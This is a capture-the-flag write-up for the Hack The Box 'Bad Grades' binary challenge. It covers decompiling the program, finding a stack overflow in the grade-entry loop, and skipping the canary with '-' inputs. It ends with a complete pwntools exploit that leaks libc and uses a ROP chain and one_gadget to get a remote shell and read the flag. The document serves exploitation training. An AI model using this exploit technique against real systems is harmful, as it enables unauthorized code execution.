

Bad Grades

1) Checked Security

```
(vigneswar@VigneswarPC)-[~/Pwn/Bad grades]
$ checksec bad_grades
[*] '/home/vigneswar/Pwn/Bad grades/bad_grades'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

```
(vigneswar@VigneswarPC)-[~/Pwn/Bad grades]
$ file bad_grades
bad_grades: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b60153cf4a14cf069c511baaae94948e073839fe, stripped
```

2) Checked the binary

```
(vigneswar@VigneswarPC)-[~/Pwn/Bad grades]
$ ./bad_grades_patched
Your grades this semester were really good BAD!

1. View current grades.
2. Add new.
> 1

Your grades were:
2
4
1
3
0

You need to try HARDER!
```

3) Decompiled the binary

```
1
2 undefined8 FUN_00401108(void)
3
4 {
5     long in_FS_OFFSET;
6     int local_14;
7     long local_10;
8
9     local_10 = *(long *)(in_FS_OFFSET + 0x28);
10    FUN_00400ea6();
11    printf("Your grades this semester were really ");
12    FUN_00400acb(&DAT_004013d7,"green","deleted");
13    FUN_00400acb(" BAD!\n",&DAT_004012ba,"blink");
14    printf("\n1. View current grades.\n2. Add new.\n> ");
15    __isoc99_scanf(&DAT_0040137e,&local_14);
16    if (local_14 == 1) {
17        FUN_00400f1a();
18    }
19    else {
20        if (local_14 != 2) {
21            puts("Invalid option!\nExiting..");
22            /* WARNING: Subroutine does not return */
23            exit(9);
24        }
25        FUN_00400fd5();
26    }
27    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
28        /* WARNING: Subroutine does not return */
29        __stack_chk_fail();
30    }
31    return 0;
32 }
33
```

```
1
2 void FUN_00400f1a(void)
3
4 {
5     long in_FS_OFFSET;
6     int local_2c;
7     uint local_28 [4];
8     undefined4 local_18;
9     undefined8 local_10;
10
11     local_10 = *(undefined8 *) (in_FS_OFFSET + 0x28);
12     local_28[0] = 2;
13     local_28[1] = 4;
14     local_28[2] = 1;
15     local_28[3] = 3;
16     local_18 = 0;
17     puts("\nYour grades were: ");
18     for (local_2c = 0; local_2c < 5; local_2c = local_2c + 1) {
19         printf("%d\n", (ulong)local_28[local_2c]);
20     }
21     printf("\nYou need to try ");
22     FUN_00400acb("HARDER", "magenta", "underline");
23     puts("!");
24     /* WARNING: Subroutine does not return */
25     exit(0x22);
26 }
27
```

```
1
2 void FUN_00400fd5(void)
3
4 {
5     long in_FS_OFFSET;
6     int local_128;
7     int local_124;
8     double local_120;
9     double local_118 [33];
10    long local_10;
11
12    local_10 = *(long *) (in_FS_OFFSET + 0x28);
13    local_120 = 0.0;
14    FUN_00400acb("Number of grades: ", &DAT_004012d8, &DAT_00401304);
15    __isoc99_scanf(&DAT_0040137e, &local_128);
16    for (local_124 = 0; local_124 < local_128; local_124 = local_124 + 1) {
17        printf("Grade [%d]: ", (ulong)(local_124 + 1));
18        __isoc99_scanf(&DAT_0040138e, local_118 + local_124);
19        local_120 = local_118[local_124] + local_120;
20    }
21    printf("Your new average is: %.2f\n", local_120 / (double)local_128);
22    if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
23        /* WARNING: Subroutine does not return */
24        __stack_chk_fail();
25    }
26    return;
27 }
28
```

4) Vulnerabilities

We can overflow local_118 buffer here by writing more grades

before we do that we need to know how double is stored on memory


The `double` data type in C usually occupies 8 bytes (64 bits) of memory. The bit-level representation consists of three main components:

1. **Sign bit (1 bit):** Represents the sign of the number. 0 indicates a positive number, and 1 indicates a negative number.
2. **Exponent (11 bits):** Represents the exponent of the number using a biased representation. It allows the representation of a wide range of values.
3. **Fraction (52 bits):** Represents the significand or mantissa. This part stores the actual binary fraction of the number.

The general format of a double-precision floating-point number is:

$$(-1)^{\text{sign}} \times 2^{\text{exponent} - \text{bias}} \times 1.\text{fraction}$$

lua

 Copy code

| S | Exponent | Fraction | |
|-----|----------|----------|--|
| --- | ----- | ----- | |
| 1 | 11 bits | 52 bits | |

- The **Sign bit** is the leftmost bit (bit 63).
- The **Exponent** field follows the Sign bit (bits 62 to 52).
- The **Fraction** field is the remaining 52 bits (bits 51 to 0).

Lets try storing some numbers and see how it is stored in memory

```
1 -> 0x3ff0000000000000
2 -> 0x4000000000000000
3 -> 0x4008000000000000
4 -> 0x4010000000000000
5 -> 0x4014000000000000
-1 -> 0xbff0000000000000
-2 -> 0xc000000000000000
-3 -> 0xc008000000000000
```

Covertng Hex to Double -> `str(struct.unpack('<d', p64(0x1337c0de))[0]).encode()`

Also notice this detail that giving '-' as input will not write any data, this can be used to bypass canary by not writing on it

5) Made exploit

```

import struct
from pwn import *

# io = process('./bad_grades_patched')
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io, gdbscript='c')

io = remote('94.237.48.205', 54640)
# leak libc address
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b': ', b'39')
puts_got = str(struct.unpack('<d', p64(0x601fa8))[0]).encode()
jmp_puts = str(struct.unpack('<d', p64(0x400680))[0]).encode()
pop_rdi_ret = str(struct.unpack('<d', p64(0x401263))[0]).encode()
entry = str(struct.unpack('<d', p64(0x400710))[0]).encode()
ret = str(struct.unpack('<d', p64(0x400666))[0]).encode()
for i in range(35):
    io.sendlineafter(b': ', b'-')
io.sendlineafter(b': ', pop_rdi_ret)
io.sendlineafter(b': ', puts_got)
io.sendlineafter(b': ', jmp_puts)
io.sendlineafter(b': ', entry)
io.recvline()
libc_address = unpack(io.recv(6), 'all')-0x80aa0
print(hex(libc_address))

# get shell
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b': ', b'36')
one_gadget = str(struct.unpack('<d', p64(libc_address+0x4f3ce))[0]).encode()
for i in range(35):
    io.sendlineafter(b': ', b'-')
io.sendlineafter(b': ', one_gadget)
io.recvline()

io.interactive()

```

5) Got flag

```

(vigneswar@VigneswarPC)-[~/Pwn/Bad grades]
$ python3 exploit.py
[+] Opening connection to 94.237.48.205 on port 54640: Done
0x7fa881676000
[*] Switching to interactive mode
$ ls
bad_grades
flag.txt
libc.so.6
run_challenge.sh
$ cat flag.txt
HTB{c4n4ry_1s_4fr41d_0f_s1gn3d_num3r5}
$ █

```

